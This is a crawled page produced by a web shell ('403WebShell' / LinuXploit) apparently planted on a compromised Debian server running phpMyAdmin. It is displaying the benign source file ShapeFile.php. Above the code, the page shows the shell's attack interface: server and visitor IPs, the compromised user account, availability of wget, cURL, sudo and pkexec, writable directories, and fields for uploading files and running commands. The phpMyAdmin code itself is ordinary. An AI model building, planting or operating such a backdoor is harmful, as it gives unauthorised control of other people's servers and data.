Uname:Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

403WebShell
403Webshell
Server IP : 188.114.96.2  /  Your IP : 104.23.243.201
Web Server : Apache/2.4.59 (Debian)
System : Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : edlftp ( 1002)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/phpMyAdmin-5.0.2-all-languages/libraries/plugins/import/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/phpMyAdmin-5.0.2-all-languages/libraries/plugins/import/ShapeFile.php
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * This class extends ShapeFile class to cater the following phpMyAdmin
 * specific requirements.
 *
 * @package    PhpMyAdmin-Import
 * @subpackage ESRI_Shape
 */
namespace PMA\libraries\plugins\import;

/**
 * 1) To load data from .dbf file only when the dBase extension is available.
 * 2) To use PMA_importGetNextChunk() functionality to read data, rather than
 *    reading directly from a file. Using
 *    PMA\libraries\plugins\import\ImportShp::readFromBuffer() in place of fread().
 *    This makes it possible to use compressions.
 *
 * @package    PhpMyAdmin-Import
 * @subpackage ESRI_Shape
 */
class ShapeFile extends \ShapeFile
{
    /**
     * Returns whether the 'dbase' extension is loaded
     *
     * @return boolean whether the 'dbase' extension is loaded
     */
    private function _isDbaseLoaded()
    {
        return extension_loaded('dbase');
    }

    /**
     * Loads ESRI shape data from the imported file
     *
     * @param string $FileName not used, it's here only to match the method
     *                         signature of the method being overridden
     *
     * @return void
     * @see ShapeFile::loadFromFile()
     */
    public function loadFromFile($FileName)
    {
        $this->_loadHeaders();
        $this->_loadRecords();
        if ($this->_isDbaseLoaded()) {
            $this->_closeDBFFile();
        }
    }

    /**
     * Loads metadata from the ESRI shape file header
     *
     * @return void
     * @see ShapeFile::_loadHeaders()
     */
    public function _loadHeaders()
    {
        ImportShp::readFromBuffer(24);
        $this->fileLength = loadData("N", ImportShp::readFromBuffer(4));

        ImportShp::readFromBuffer(4);
        $this->shapeType = loadData("V", ImportShp::readFromBuffer(4));

        $this->boundingBox = array();
        $this->boundingBox["xmin"] = loadData("d", ImportShp::readFromBuffer(8));
        $this->boundingBox["ymin"] = loadData("d", ImportShp::readFromBuffer(8));
        $this->boundingBox["xmax"] = loadData("d", ImportShp::readFromBuffer(8));
        $this->boundingBox["ymax"] = loadData("d", ImportShp::readFromBuffer(8));

        if ($this->_isDbaseLoaded() && $this->_openDBFFile()) {
            $this->DBFHeader = $this->_loadDBFHeader();
        }
    }

    /**
     * Loads geometry data from the ESRI shape file
     *
     * @return boolean|void
     * @see ShapeFile::_loadRecords()
     */
    public function _loadRecords()
    {
        global $eof;
        ImportShp::readFromBuffer(32);
        while (true) {
            $record = new ShapeRecord(-1);
            $record->loadFromFile($this->SHPFile, $this->DBFFile);
            if ($record->lastError != "") {
                return false;
            }
            if ($eof) {
                break;
            }

            $this->records[] = $record;
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit